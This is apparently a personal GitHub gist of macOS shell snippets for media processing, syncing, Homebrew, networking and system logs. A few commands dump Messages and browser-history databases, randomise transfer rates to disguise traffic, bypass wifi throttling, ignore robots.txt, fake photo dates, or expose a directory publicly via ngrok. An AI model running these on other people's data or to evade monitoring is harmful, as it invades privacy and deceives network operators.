Skip to content

Instantly share code, notes, and snippets.

@varenc
Last active April 22, 2024 20:22
Show Gist options
  • Star 16 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save varenc/6ce50110ab15031832333b67ecc17e36 to your computer and use it in GitHub Desktop.
Save varenc/6ce50110ab15031832333b67ecc17e36 to your computer and use it in GitHub Desktop.
description
[[snippets]]
description = "my personal snippets. Relies on many of my own functions. If you're interested in pmset/disabling assertions, see: https://gist.github.com/varenc/627f6be2a5ec9d52dab3cf0d157be62f"
command = ""
output = ""
[[snippets]]
description = "start dev file syncer. uses fswatch to know when to run rsync. does not sync .git file. Sort like a write-through cache network file system with only eventual consistency guarantees."
command = "fswatch -0 --exclude \"\\.git\" --exclude \"\\.xml\" --exclude \"___\" -o /Users/chris/Documents/workspace/lingt_chris_dev_rsync_checkout/myproject | xargs -0 -n 1 -I {} rsync --progress --exclude '*.pyc' --exclude '*.git' --recursive ~/workspace/lingt_chris_dev_rsync_checkout/myproject dev@dev.server:/home/user/webapps/dev_chris/myproject"
output = ""
[[snippets]]
description = "plex find unscanned tv!"
command = "cat <(find /Users/chris/Downloads/media/dbx_mount/tv -type f | sed 's/.*\\///' | grep 'mp4\\|mkv\\|avi') <(unbuffer /Applications/Plex\\ Media\\ Server.app/Contents/MacOS/Plex\\ Media\\ Scanner -c 4 --tree | grep 'mp4\\|mkv\\|avi' | sed 's/.*\\///' | sed 's/\\w*\\[.*\\]$//' | awk '{$1=$1};1') | sort | uniq -u"
output = ""
[[snippets]]
description = "plex find unscanned movies"
command = "cat <(find /Users/chris/Downloads/media/dbx_mount/movies -type f | sed 's/.*\\///' | grep 'mp4\\|mkv\\|avi') <(unbuffer /Applications/Plex\\ Media\\ Server.app/Contents/MacOS/Plex\\ Media\\ Scanner -c 5 --tree | grep 'mp4\\|mkv\\|avi' | sed 's/.*\\///' | sed 's/\\w*\\[.*\\]$//' | awk '{$1=$1};1') | sort | uniq -u"
output = ""
[[snippets]]
description = "CRON command to backup a file every 10 minutes"
command = "*/10 * * * * /bin/cp /some/file /some/other/file.backup$(date +%Y%m%d)"
output = ""
[[snippets]]
description = "Search apple messages sqlite database! Also great for backing stuff up."
command = "sqlite3 ~/Library/Messages/chat.db \"SELECT text, datetime(date, 'unixepoch', '+31 year') FROM message WHERE text LIKE '%Hello%';\""
output = ""
[[snippets]]
description = "shows dirs with most jpgs in them"
command = "for d in */*/; do; echo \"`find $d | grep -i jpg | wc -l` : $d\"; done | sort -n"
output = ""
[[snippets]]
description = "faster dailymotion youtube-dl downloads"
command = "youtube-dl -f 'best[format_id^=hls]' --hls-prefer-native https://www.dailymotion.com/XXXXXX"
output = ""
[[snippets]]
description = "better fast dailymotion downloadusing aria2 to use multiple (8) connections to download the file in small chunks. This is helpful for bypassing free wifi spots which throttle the speed of a download after the first megabyte."
command = "youtube-dl --external-downloader aria2c --external-downloader-args '-c -j 8 -x 8 -s 8 -k 2M' http://www.dailymotion.com/video/XXXX"
output = ""
[[snippets]]
description = "test disk write speed"
command = "dd if=/dev/zero bs=2048k of=tstfile count=1024 2>&1 | grep sec | awk '{print $1 / 1024 / 1024 / $5, \"MB/sec\" }'"
output = ""
[[snippets]]
description = "test disk read speed"
command = "vmtouch -e tstfile; dd if=tstfile bs=2048k of=/dev/null count=1024 2>&1 | grep sec | awk '{print $1 / 1024 / 1024 / $5, \"MB/sec\" }'"
output = ""
[[snippets]]
description = "homebrew: install old version thats from before a specific date"
command = "brew info https://raw.githubusercontent.com/Homebrew/homebrew-core/$(git -C $(brew --repo)/Library/Taps/homebrew/homebrew-core log --before=\"2018-01-01\" -n 1 --pretty=tformat:\"%h\" Formula/ffmpeg.rb)/Formula/ffmpeg.rb"
output = ""
[[snippets]]
description = "homebrew: get total size of all of all of formula's dependencies. WARNING: Slow"
command = "brew info --json=v1 $(brew deps -v ffmpeg) | jq -r '.[].bottle.stable.files.mojave.url' | xargs -I {} curl -sI {} | grep -i content-length | awk '{s+=$2} END {printf \"%.2f MB\\n\", s/1024**2}'"
output = ""
[[snippets]]
description = "homebrew: show the largest mojave bottles sorted. WARNING: Slow"
command = "brew info --json --all | jq -r '.[].bottle.stable.files.mojave.url' | xargs -I {} sh -c 'echo {}; curl -sI {}' | grep \"https\\|content-length\" | sed -e ':a' -e 'N' -e '$!ba' -e 's/gz\\n/gz /g' | awk '{printf \"%d %s\\n\", $3,$1}' | sort -nr| awk '{printf \"%.2f MB %s\\n\", $1/1024**2, $2}'"
output = ""
[[snippets]]
description = "rclone: mount gdrive without the crap"
command = "rclone mount -v --vfs-cache-mode full --vfs-cache-max-age=1h --max-size=5M --exclude=\"/*photo*/\" --exclude=\"/Camera Uploads/\" --exclude=\"/Google Photos/\" --exclude-if-present=\"2019-02-25 00.22.43.jpg\" --exclude=\"*.jpg\" --exclude=\"*.png\" --allow-other --read-only --dir-cache-time 1h gdrive:/ /tmp/gdrive"
output = ""
[[snippets]]
description = "download file in parallal but inorder-ish for viewing while downloading"
command = "aria2c --enable-http-pipelining --min-split-size=5M --console-log-level=notice -x 6 --stream-piece-selector=geom --continue https://XXXXXXXXXXXXXXX"
output = ""
[[snippets]]
description = "clean subtitles"
command = "for f in *.mkv; do srt process -m re -f 'lambda sub: re.sub(\"\\[.+\\]\", \"\", sub)' -i \"${f%.*}\".en.srt -o \"${f%.*}\".en.srt; done"
output = ""
[[snippets]]
description = "extract mkv subtitles"
command = "for f in *.mkv; do ffmpeg -y -i \"$f\" -map 0:m:language:eng -map -0:a -map -0:v \"${f%.*}.en.srt\"; done;"
output = ""
[[snippets]]
description = "query for the number of miles of protected bike lanes in SF: As of 7/2020: 30miles"
command = "curl 'https://data.sfgov.org/resource/ygmz-vaxd.json?$select=sum%28length%29&$where=symbology%3D%22SEPARATED%20BIKEWAY%22'"
output = ""
[[snippets]]
description = "clean up media filenames"
command = "rename 's/[\\_\\s]+/\\./g' *.mkv; rename \"s/\\(.*\\)//\" *.mkv; rename --trim -S \"'\" \"\" *.mkv;"
output = ""
[[snippets]]
description = "avoid obvious traffic behavior. Randomly twiddle rclone bandwidth limit with a normal distribution (waaaay over complicating things)"
command = "while true; do rclone rc -v -v -v core/bwlimit rate=$[$[$[(${RANDOM}%7)/2.0+3.5]+$[(${RANDOM}%4)/2.0+4]]/2]0M; sleep $[(${RANDOM}%5+2)*5]; done"
output = ""
[[snippets]]
description = "observe distribution of some random numbers"
command = "for i in `seq 30000`; do echo $[$[$[(${RANDOM}%7)/2.0+3.5]+$[(${RANDOM}%4)/2.0+4]]/2]0M; done | sort -n | uniq -c"
output = ""
[[snippets]]
description = "extract english subtitles only using ffmpeg (negative mapping...includes all language:eng streams, then removes all audio and video streams)"
command = "ffmpeg.exe -i TEST_Input.mkv -map 0:m:language:eng -map -0:a -map -0:v \"TEST_output.srt\""
output = ""
[[snippets]]
description = "subtitles: remove hearing impaired annotation in place using srtlab (https://github.com/DrLex0/SRTLab/blob/master/srtlab.pl)"
command = "srtlab -e -H -H -c SUB_FILE.srt"
output = ""
[[snippets]]
description = "whois a list of ips"
command = "cat /tmp/ips | xargs -n 1 -P 1 -I {{}} bash -c 'echo ========== {{}} =========; whois {{}}' > /tmp/ipwho"
output = ""
[[snippets]]
description = "look at org details for IP whois dump"
command = "cat /tmp/ipwho | grep \"CustName\\|Organization\\|org\\-name\\|descr:\\|=====\\|role:\" | less"
output = ""
[[snippets]]
description = "look for interesting non-numerical strings in kernel state"
command = "sysctl -a | grep -v \": $\"| grep -v \": [_/ \\.0-9-]\\+$\""
output = ""
[[snippets]]
description = "useless advisor for advanced ffmpeg commands"
command = "open https://amiaopensource.github.io/ffmprovisr/"
output = ""
[[snippets]]
description = "exiftool: set all dates for image files to a specific one"
command = "exiftool -v -overwrite_original_in_place '-AllDates=2001:01:01 01:01:01' '-FileModifyDate=2001:01:01 01:01:01' '-CreationDate=2001:01:01 01:01:01' *.jpg"
output = ""
[[snippets]]
description = "exiftool: set all dates to the file creation date (which can be copied over with wget)"
command = "exiftool -overwrite_original_in_place \"-alldates<filecreatedate\" \"-FileModifyDate<filecreatedate\" *"
output = ""
[[snippets]]
description = "rclone mount putio"
command = "rclone mount --log-file /tmp/putio_cache.log -v -v --allow-other --buffer-size 300M --vfs-read-chunk-size=15M --vfs-read-chunk-size-limit=90M --vfs-cache-mode minimal --read-only --vfs-cache-max-age=1h --max-read-ahead 60M --no-modtime --no-checksum --volname \"putio\" --fast-list --dir-cache-time 5m --checkers 10 --cache-workers=6 putio-cache:/ ~/Downloads/media/putio_cache_mount"
output = ""
[[snippets]]
description = "exiftool: check dates for the first jpeg in this dir"
command = "exiftool -time:all -a -G0:1 -s *.jpg([1])"
output = ""
[[snippets]]
description = "compress images inside of a pdf. Use /ebook for more compression or /screen for even more"
command = "gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/default -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf"
output = ""
[[snippets]]
description = "find the nearest keyframe that precedes N seconds in a file. Bash function. requires ffprobe"
command = "function ffnearest() { TIME=$2; export TIME; ffprobe -read_intervals $[$TIME-15]% -select_streams v -show_frames -show_entries frame=pkt_pts_time,pict_type -v quiet \"$1\" | awk -F= ' /pict_type=/ { if (index($2, \"I\")) { i=1; } else { i=0; } } /pkt_pts_time/ { if (i && ($2 <= ENVIRON[\"TIME\"])) print $2; } /pkt_pts_time/ { if (i && ($2 > ENVIRON[\"TIME\"])) exit 0; }' | tail -n 1 }"
output = ""
[[snippets]]
description = "ffmpeg extract 1st subtitles from range of number match (change to `-map 0:s:1` to extract 2nd subtitles)"
command = "for f in SomeThing.S1E{01..12}.*.mkv; do ffmpeg -y -i \"$f\" -map 0:s:0 \"${f%.*}.en.srt\"; done;"
output = ""
[[snippets]]
description = "srtlab remove HI/SDH from range of subtitles, in place (destructive) editing and also remove empty subtitles."
command = "for f in *.srt; do srtlab -H -H -c -v -v -e \"$f\"; done;"
output = ""
[[snippets]]
description = "mkvpropedit set an mkv's 2nd audio and subtitle track to be the default and remove default flag from 1st audio and subtitle track"
command = "mkvpropedit --edit track:s2 --set language=eng --set flag-default=1 --edit track:a2 --set language=eng --set flag-default=1 --edit track:s1 --set flag-default=0 --edit track:a1 --set flag-default=0 file.mkv"
output = ""
[[snippets]]
description = "create a binary delta for a large file. Look at file_delta's size to understand the size of the binary diff."
command = "rdiff signature BigFile /tmp/file_sig; rdiff delta /tmp/file_sig OtherBigFile /tmp/file_delta; echo RUN THIS TO PATCH --> rdiff patch OtherBigFile /tmp/file_delta /tmp/NewFileFromDelta;"
output = ""
[[snippets]]
description = "use datasf api over curl (some funky encoding is needed)"
command = "curl -s -G -v -v https://data.sfgov.org/resource/g8m3-pdis.json --data-urlencode '$query=select * where full_business_address=\"1 Dolo Drive\"' --data-urlencode \"\\$\\$app_token=___APP_KEY______\""
output = ""
[[snippets]]
description = "homebrew wget2 formula"
command = "brew install robbajorek/homebrew-formulae/wget2"
output = ""
[[snippets]]
description = "wget2 for recursive site downloading like wget...but parallized for much much faster speed. wget2 rocks!"
command = "wget2 --wait=0.1 --random-wait --max-threads=5 --level 1 --convert-links --recursive --mirror -e robots=off --adjust-extension --reject jpg,png,css,js,jpeg --domains xxx https://xxx ### instead of reject can use `--accept html,mp3`"
output = ""
[[snippets]]
description = "start a python simplehttpserver and serve the current directory, then use ngrok to get a public URL for that server. Timeouts in 3 minutes. resets terminal afterwards to fix mysterious things. USE CAREFULLY."
command = "timeout 180s python -m SimpleHTTPServer 8080 &; timeout 180s ngrok http 8080; reset"
output = ""
[[snippets]]
description = "remove xattrs from files. Useful when copying to networked file systems that don't support xattrs"
command = "xattr -c *"
output = ""
[[snippets]]
description = "search/replace in a binary file (because sed reports errors on such files...)"
command = "xxd -p < input | sed 's/9d/7427/g' | xxd -r -p > output"
output = ""
[[snippets]]
description = "exiftool: set random date time in a 9 year range for a bunch of files. Group times by sets of 5 photos"
command = "for i in `seq 400`; do exiftool -overwrite_original_in_place \"-AllDates=$[2008 + ${RANDOM}%10]:$[1 + ${RANDOM}%12]:$[1 + ${RANDOM}%28] $[1 + ${RANDOM}%23]:$[1 + ${RANDOM}%59]:$[1 + ${RANDOM}%59]\" `ls . | shuf -n 5`; done"
output = ""
[[snippets]]
description = "move .srt subtitles matching an E number, to whatever mkv file also matches that E number"
command = "for id in {01..14}; do mv *E$id*.srt \"`basename ./*E$id*.mkv .mkv`.en.srt\" ; done;"
output = ""
[[snippets]]
description = "disable subtitles on mkv files in current folder. For most players only the bogus 'DISABLE' codec-id does the trick."
command = "for f in ./*.mkv; do mkvpropedit --edit track:s1 --set language=zh --set flag-default=0 --set flag-forced=0 --set flag-enabled=0 --set codec-id=DISABLED \"$f\"; done;"
output = ""
[[snippets]]
description = "move some subs based on E$id with different name to current name"
command = "for id in {01..08}; do TMP=$(echo ./*E$id*.mkv); cp subs/*E$id*.srt ${TMP%.mkv}.en.srt; done"
output = ""
[[snippets]]
description = "convert mkv to apple tv compatible mp4"
command = "ffmpeg -i INPUT.mkv -map 0:v:0 -c:v copy -map 0:a:0 -c:a libfdk_aac -b:a 160k -ac 2 -vtag hvc1 -y output.mp4;"
output = ""
[[snippets]]
description = "convert x265 to mp4 for quicktime compatability. use dolby eac3 for multistream audio support"
command = "ffmpeg -i INPUT.mkv -map 0:v:0 -c:v copy -map 0:a:0 -c:a eac3 -vtag hvc1 -y output.mp4"
output = ""
[[snippets]]
description = "overwrite an input file on a shell pipe by buffering the stdin and then writing it to a file"
command = "sponge"
output = ""
[[snippets]]
description = "read first 100MB of *.m* file and md5 it"
command = "gdd if=\"$(echo *.m*)\" bs=100M count=1 | md5sum"
output = ""
[[snippets]]
description = "fetch a youtube video with youtube-dl and calculate words per minute (wpm) based on the vtt/srt subtitles (converted to text format hackily). Youtube-dl also gets the duration"
command = "youtube-dl -o \"subs.%(ext)s\" --write-auto-sub --write-sub --sub-format vtt --skip-download --write-info-json https://<YOUTUBE_URL> ; echo \"Words per minute:\" $(( $(cat subs.en.vtt | grep -v \"^\\d\\d\" | sed -e 's/<[^>]*>//g' | gsed -E \"s/\\s*(\\(|\\[).{3,}(\\)|\\])\\s*//g\" | tr -cd '\\11\\12\\15\\40-\\176' | tr -d '\\015' | sed '/^$/d' | sed -E \"s/^[ ]+//\" | awk '!seen[$0]++' | wc -w) / ( $(cat subs.info.json | jq \".duration\")/60)))"
output = ""
[[snippets]]
description = "ffmpeg: cut 15 seconds from the start and 30 seconds from the end for every mkv video file in a folder. (ffmpeg doesn't have an simple \"N seconds from end\" param)"
command = "for f in ./*.mkv; do ffmpeg -i \"$f\" -ss 00:00:15 -to $(( $(ffprobe -v 0 -show_entries format=duration -of compact=p=0:nk=1 $f) - 30 )) -c copy \"parts/${f%.*}-part.mkv\"; done"
output = ""
[[snippets]]
description = "ffmpeg: concat all `*part*.mkv` video files into one big video file. Very fast. No transcoding, but videos must have compataible encodings to begin with. Subtitles get combined just fine. ffmpeg's conact takes the list of files in a weird way so that's generated on the fly."
command = "ffmpeg -safe 0 -f concat -i <(for f in *part*.mkv; do echo file \"$(pwd)/$f\"; done) -c copy ./all-video-parts-combined.mkv"
output = ""
[[snippets]]
description = "Find all /Applications that support Apple Script. This inspects every app's Info.plist looking for the NSAppleScript key"
command = "fd -d 4 Info.plist /Applications --exec bash -c \"echo \\\"{}\\\"; plutil -p \\\"{}\\\" | grep NSAppleScript; \" 2>&1 | grep -B1 NSAppleScript | grep -v \"NSAppleScript\\|\\-\\-\""
output = ""
[[snippets]]
description = "count mDNS packets per second. On large home network these are SPAMMED like crazy from apple devices and raspberry pis"
command = "sudo tcpdump -l -n \"( host 224.0.0.251 or host ff02::fb ) and port 5353\" | perl -e 'while (<>) {$l++;if (time > $e) {$e=time;print \"$l\\n\";$l=0}}'"
output = ""
[[snippets]]
description = "mDNS/dns-sd query for specified name and type. \"ANY\" matches lots of stuff. Another example, use name \"_googlecast_tcp.local\" and type \"PTR\"."
command = "dns-sd -q raspberrypi-2.local ANY"
output = ""
[[snippets]]
description = "get the entitlements for a command line util. If a basic tool has an out of place entitlement, that's a good hint that there's some special functionality that the tool only enables for internal builds"
command = "codesign -d --entitlements :- `which dns-sd`"
output = ""
[[snippets]]
description = "query for all _dns-sd services on your local network. Wish nmap did stuff like this"
command = "dns-sd -Q _services._dns-sd._udp.local ANY"
output = ""
[[snippets]]
description = "print mDNS packets per second, live. Better. Doesn't work as in in zsh for some reason??"
command = "bash -c 'sudo tcpdump -l -n \"( host 224.0.0.251 or host ff02::fb ) and port 5353\" | pv -l -i1 -r -f 2>/dev/stdout >/dev/null | tr /\\\\r \\ \\\\n'"
output = ""
[[snippets]]
description = "change screen resolution to 3008x1692 60hz using displayplacer"
command = "displayplacer \"id:2648EE53-5F1E-37A6-99FA-30FB0B2E49A9 mode:49\""
output = ""
[[snippets]]
description = "change screen resolution to 3840x2160 60hz with no scaling using displayplacer. This takes the load off of the GPU. When playing media there are zero downsides to using this resolution (when that matches the 4k monitor's physical resolution of course)"
command = "displayplacer \"id:2648EE53-5F1E-37A6-99FA-30FB0B2E49A9 mode:97\""
output = ""
[[snippets]]
description = "get the average runtime for a command. Hyperfine is smart and looks at the variance to ensure enough runs to get a stable answer"
command = "hyperfine --max-runs=200 <cmd>"
output = ""
[[snippets]]
description = "sed: replace newlines with tabs (or anything else)"
command = "gsed ':a;N;$!ba;s/\\n/\\t/g'"
output = ""
[[snippets]]
description = "see command"
command = "#### iStat Menus, to edit frequency, 'TimerFrequency' key in ~/Library/Preferences/com.bjango.istatmenus6.extras.plist"
output = ""
[[snippets]]
description = "# Print the top 10 processes by CPU usage (and other stats) every minute"
command = "while true; do echo; date; iostat; ps -c '-O %cpu %mem' |head -n 1; ps -c -A '-O %cpu %mem' | sort -r -n -k 2 | head -n 10; sleep 60; done"
output = ""
[[snippets]]
description = "super cool macOS usage/activity/cpu/gpu/thermal monitor. RAD"
command = "sudo powermetrics --samplers all -i1 -n1"
output = ""
[[snippets]]
description = "turn on process accounting. DO NOT LEAVE IT ON. https://apple.stackexchange.com/questions/319615/how-to-enable-process-accounting-on-macos for more details"
command = "sudo mkdir /var/account; sudo touch /var/account/acct; sudo accton /var/account/acct"
output = ""
[[snippets]]
description = "show everything every downloaded/quarantined by your mac. Records go back to 2012 for me."
command = "sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineTimeStamp, LSQuarantineDataURLString from LSQuarantineEvent' | php -r 'date_default_timezone_set(\"America/Montreal\"); foreach (explode(\"\\n\", file_get_contents(\"php://stdin\")) as $l) { preg_match(\"/([0-9\\\\.]+)\\\\|(.*)\\$/\", $l, $re); echo date(\"Y-m-d H:i:s\",strtotime(\"2001-01-01 19:00\")+$re[1]).\"\\t$re[2]\\n\"; }' | less"
output = ""
[[snippets]]
description = "show currently open tcp connections/ips"
command = "sudo lsof -P -n -iTCP -sTCP:LISTEN,ESTABLISHED"
output = ""
[[snippets]]
description = "watch security related console log messagse"
command = "sudo log stream --debug --info --predicate \"processImagePath contains 'tccd' OR processImagePath contains 'syspolicyd' OR processImagePath Contains[c] 'taskgated' OR processImagePath contains 'trustd' OR eventMessage Contains[c] 'malware' || senderImagePath Contains[c] 'security' \""
output = ""
[[snippets]]
description = "macOS Catalina slow by design. Check for execution delay due to macOS making a background network request before it runs a new executable. Both times should be 0.0 seconds but usally the first execution is delayed at least ~0.1 seconds. BULLSHIT"
command = "RAND_FILE=\"/tmp/test-$RANDOM.sh\"; time_helper() { /usr/bin/time $RAND_FILE 2>&1 | tail -1 | awk '{print $1}'; }; echo $'#!/bin/sh\\necho Hello' $RANDOM > $RAND_FILE && chmod a+x $RAND_FILE; echo \"Testing $RAND_FILE\"; echo \"execution time #1: $(time_helper) seconds\" && echo \"execution time #2: $(time_helper) seconds\";"
output = ""
[[snippets]]
description = "fix the \"MacOS error: -67062\" error which is just because a CLI until is usigned. See the other pet command for tailing the logs that reveal this"
command = "codesign -f -s - $(which THINGIE) "
output = ""
[[snippets]]
description = "watch macOS console log for messages releated to syspolicy and cloudkit. These reveal when macOS is blocking the execution of some unsigned code while it waits for a remote server to confirm it's okay or not"
command = "sudo log stream --debug --info --predicate \"processImagePath contains 'syspolicyd' and (message contains 'cloudkit ')\""
output = ""
[[snippets]]
description = "hefty"
command = "sudo log stream --debug --info --predicate \"processImagePath contains 'tccd' OR processImagePath contains 'syspolicyd' OR processImagePath Contains[c] 'taskgated' OR processImagePath contains 'trustd' || senderImagePath Contains[c] 'Sandbox' || senderImagePath Contains[c] 'AppleSystemPolicy' OR processImagePath contains 'sandboxd' \" | grep \"no system signature\\|MacOS errrrrror\\|gdu\\|zzzzkernel\\|zzzzzzzfailed to fetch /\\|/Cellar\\|zzzAppleSystemPolicy\\|reporting:violation] Sandbox:\\|garconxxxx\\|dropboxx\\|sandboxdxxxxx\\|Failed to copy signing info\\|cloudkit record\\|queueing up scan\\|Unsigned code in\\|XProtect result\\|evaluateScanResult\\| Error \\|youtube\\|syspolicyd: GK \\| syspolicyd: cloudkit\""
output = ""
[[snippets]]
description = "minimal (maybe)"
command = "sudo log stream --debug --info --predicate \"processImagePath contains 'syspolicyd' OR processImagePath Contains[c] 'taskgated'\" | grep \"no system signature\\|MacOS errrrrror\\|gdu\\|zzzzkernel\\|zzzzzzzfailed to fetch /\\|/Cellar\\|zzzAppleSystemPolicy\\|reporting:violation] Sandbox:\\|garconxxxx\\|dropboxx\\|sandboxdxxxxx\\|Failed to copy signing info\\|cloudkit record\\|queueing up scan\\|Unsigned code in\\|XProtect result\\|evaluateScanResult\\| Error \\|youtube\\|syspolicyd: GK \\| syspolicyd: cloudkit\""
output = ""
[[snippets]]
description = "show tmutil sticky exclusions based on xattr"
command = "sudo mdfind \"com_apple_backup_excludeItem = 'com.apple.backupd'\""
output = ""
[[snippets]]
description = "show dir size, 3 levels deep, filtered on dirs > 2GB, sorted"
command = "gdu -d 3 -h . | ggrep -E \"^[0-9\\.]+G\" | gsed \"s/G/ G/\" | awk '{if($1>2)print}' | gsort -n"
output = ""
[[snippets]]
description = "print mac sharing preferences"
command = "rmMgmt=`netstat -na | grep LISTEN | grep tcp46 | grep \"*.3283\" | wc -l`; scrShrng=`netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep \"*.5900\" | wc -l`; flShrng=`netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | egrep \"\\*.88|\\*.445|\\*.548\" | wc -l`;rLgn=`netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep \"*.22\" | wc -l`; rAE=`netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep \"*.3031\" | wc -l`; bmM=`netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep \"*.4488\" | wc -l`;printf \"\\nThe following services are OFF if '0', or ON otherwise:\\nScreen Sharing: %s\\nFile Sharing: %s\\nRemote Login: %s\\nRemote Mgmt: %s\\nRemote Apple Events: %s\\nBack to My Mac: %s\\n\\n\" \"$scrShrng\" \"$flShrng\" \"$rLgn\" \"$rmMgmt\" \"$rAE\" \"$bmM\""
output = ""
[[snippets]]
description = "list all spotlight property. is bloat bad?"
command = "mdimport -X"
output = ""
[[snippets]]
description = "dump all Safari browsing history using History.db sqlite table"
command = "sqlite3 ~/Library/Safari/History.db \"SELECT h.visit_time, i.url FROM history_visits h INNER JOIN history_items i ON h.history_item = i.id\" | cut -d \"|\" -f 2 | uniq | less"
output = ""
[[snippets]]
description = "dump chrome browsing history...maybe"
command = "sqlite3 ~/Library/Application\\ Support/Google/Chrome/Default/History \"SELECT datetime(((v.visit_time/1000000)-11644473600), 'unixepoch'), u.url FROM visits v INNER JOIN urls u ON u.id = v.url;\""
output = ""
[[snippets]]
description = "dump firefox browing history (only one profile at a time works)"
command = "sqlite3 ~/Library/Application\\ Support/Firefox/Profiles/*/places.sqlite \"SELECT datetime(last_visit_date/1000000,'unixepoch'), url, title from moz_places\""
output = ""
[[snippets]]
description = "using iOS JetsamEvent log list the processes, including Apple processes, that consumed the most CPU. (currently 100+ cpuTime)"
command = "cat JetsamEvent-2020-05-26-132655.ips | jq \".processes[] | [.name,.cpuTime]\" | grep -v \"\\[\" | grep -E -B1 \"[0-9]{3,10}\\.\""
output = ""
[[snippets]]
description = "use the amazing FSEParser to dump the HISTORICAL fseventsd log. This lets you see a history of all file changes! great incident response"
command = "sudo FSEParser_V4 -s /System/Volumes/Data/.fseventsd -t folder -o /tmp/fsdump"
output = ""
[[snippets]]
description = "inspect historical file events dumped by FSEParser"
command = "head -1000000 All_FSEVENTS.tsv | grep \"chris\\|cellar\" | cut -d $'\\t' -f 3-5,8 | less"
output = ""
[[snippets]]
description = "show the files currently currently stored in the in-memory (RAM) cache."
command = "vmtouch -v ."
output = ""
[[snippets]]
description = "make vm_stat friendly and use gigabytes"
command = "vm_stat | perl -ne '/page size of (\\d+)/ and $size=$1; /([^:]+)[^\\d]+(\\d+)/ and printf(\"%-16s % 16.3f Gi\\n\", \"$1:\", $2 * $size / (1048576*1024));'"
output = ""
[[snippets]]
description = "WIP: filters fs_usage activity for file writes. parsing the columns is so painful... sum \"B=\" for each process to count its bytes written"
command = "sudo fs_usage -w -f filesys -t 3 2>&1 | grep \"B=\" | grep \" WrData\\| write\"| tee /tmp/fsraw | cut -c18- | sed -E \"s/[C-Z]=[0-9a-z]+[ ]+//g\" | sort | tee /tmp/fsformat | grep \"B=\" | wc -l"
output = ""
[[snippets]]
description = "reset the pf rules set"
command = "sudo pfctl -f /etc/pf.conf; sudo dnctl -q flush"
output = " "
[[snippets]]
description = "internet uptime tracking"
command = "while true; do nc -zw1 -G1 google.com 443 2> /dev/null && echo \"$(printf '%-10s' $(ping -q -t 17 google.com | tail -2 | gsed ':a;N;$!ba;s/\\n/\\t/g' | gsed -E 's/ packets? \\w+,?//g' | sed 's/round\\-trip min\\/avg\\/max\\/stddev =//' | sed 's/ ms//' | tr '/' '\\t' | column -t ))\\t\\t(sent/recv/loss%/min/avg/max/stddev time: $(gdate '+%m/%d-%H:%M:%S') $(gdate '+%s.%4N'))\" || echo \"BAD! INTERNET OFFLINE! \" $(date); sleep 2.95; done | tee -a /tmp/connectivity_log.txt;"
output = ""
[[snippets]]
description = "ping all the gwifi points and print the stats in somewhat aligned table. Good for checking if the ethernet is working or if they're secretly falling back to mesh."
command = "function gtest { printf '%-25s %-25s\\n' \"$1\" \"$(sudo ping -q -t 240 -s 65000 $2 | tail -1 | sed 's/round\\-trip min\\/avg\\/max\\/stddev =//' | sed 's/ ms//' | tr '/' '\\t')\" }; printf '%-20s %-20s\\n' \"testing...\" \"$(echo \" min /avg /max /stddev\" | tr '/' '\\t')\"; (gtest primary 192.168.87.1 &); (gtest \"basement\" 192.168.87.108 &); (gtest \"allie point (meshing)\" 192.168.87.83 &); (gtest \"283 kitchen\" 192.168.87.79 &); (gtest \"283 hallway\" 192.168.87.104 &); (gtest \"279 kitchen\" 192.168.87.105 &); (gtest \"279 front (meshing)\" 192.168.87.58 );"
output = ""
[[snippets]]
description = "show Spotlight privacy exclusions by parsing plist directly"
command = "sudo plutil -extract Exclusions xml1 -o - /System/Volumes/Data/.Spotlight-V100/VolumeConfiguration.plist | less"
output = ""
[[snippets]]
description = "generate lots of random files with a small speed delay"
command = "for n in {1..200}; do dd if=/dev/random of=file$( printf %03d \"$n\" ).txt bs=1 count=$(( RANDOM + 10 )); sleep 0.05; done"
output = ""
[[snippets]]
description = "See what spotlight/mds/mdutil is currently indexing. Samples for 10 seconds. Looks for file activity on any spotlight/metadata related executables in the right paths."
command = "unbuffer sudo fs_usage -f pathname -t 10 Spotlight $(fd -t x . /System/Library/Frameworks/CoreSpotlight.framework /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework --exec basename {}) 2>&1 | hck -d '\\s+' -f 2- | awk 'NF{NF-=2};1' | sort | uniq | less"
output = ""
[[snippets]]
description = "live ffplay visualiztion of redirect system output audio...sort of working."
command = "ffplay -f avfoundation -i \":3\" -volume 0 -fflags nobuffer -flags low_delay -analyzeduration 0 -framedrop"
output = ""
[[snippets]]
description = "another slightly working live system audio visualization. Should just pipe audio to mpv and let it do visualizing but running into issue with 'audio overrun'. maybe try having ffmpeg output to an rtsp stream and have mpv read that independently"
command = "ffmpeg -f avfoundation -i \":3\" -filter_complex \"[0:a]showcqt=s=1920x1080:axis=0[vcqt];[0:a]showwaves=split_channels=1:mode=line:s=1280x480[vs];[vcqt][vs]overlay=x=W-w-50:y=50[v]\" -map '[v]' -map '0:a' -f flv - | mpv --profile=low-latency -"
output = ""
[[snippets]]
description = "mostly workly live audio visualiztion! if you listen to it there's underrun and it cuts out all the time...however for using the audio just for visualization it does works. Relies on Loopback to turn system audio into a virtual microphone"
command = "sudo ffmpeg -re -f avfoundation -i \":3\" -f rtp \"rtp://127.0.0.1:2666?pkt_size=188?buffer_size=16384\" -sdp_file /tmp/stream.sdp; ## and also....: mpv --no-resume-playback --vd-lavc-threads=1 --cache-pause=no --demuxer-lavf-o-add=fflags=+nobuffer --demuxer-lavf-probe-info=nostreams --demuxer-lavf-analyzeduration=0.2 --video-sync=audio --interpolation=no --video-latency-hacks=yes --stream-buffer-size=4k --no-video --untimed /tmp/stream.sdp; # or try using opus which maybe is better for realtime?? : sudo ffmpeg -re -f avfoundation -i \":3\" -f rtp -muxdelay 0.1 -codec libopus -application lowdelay -b:a 24576 -ac 1 \"rtp://127.0.0.1:2666?pkt_size=512?buffer_size=16384\" -sdp_file /tmp/stream.sdp"
output = ""
[[snippets]]
description = "NEARLY PERFECT live visualization of virtual microphone input using ffmpeg - | ffplay -"
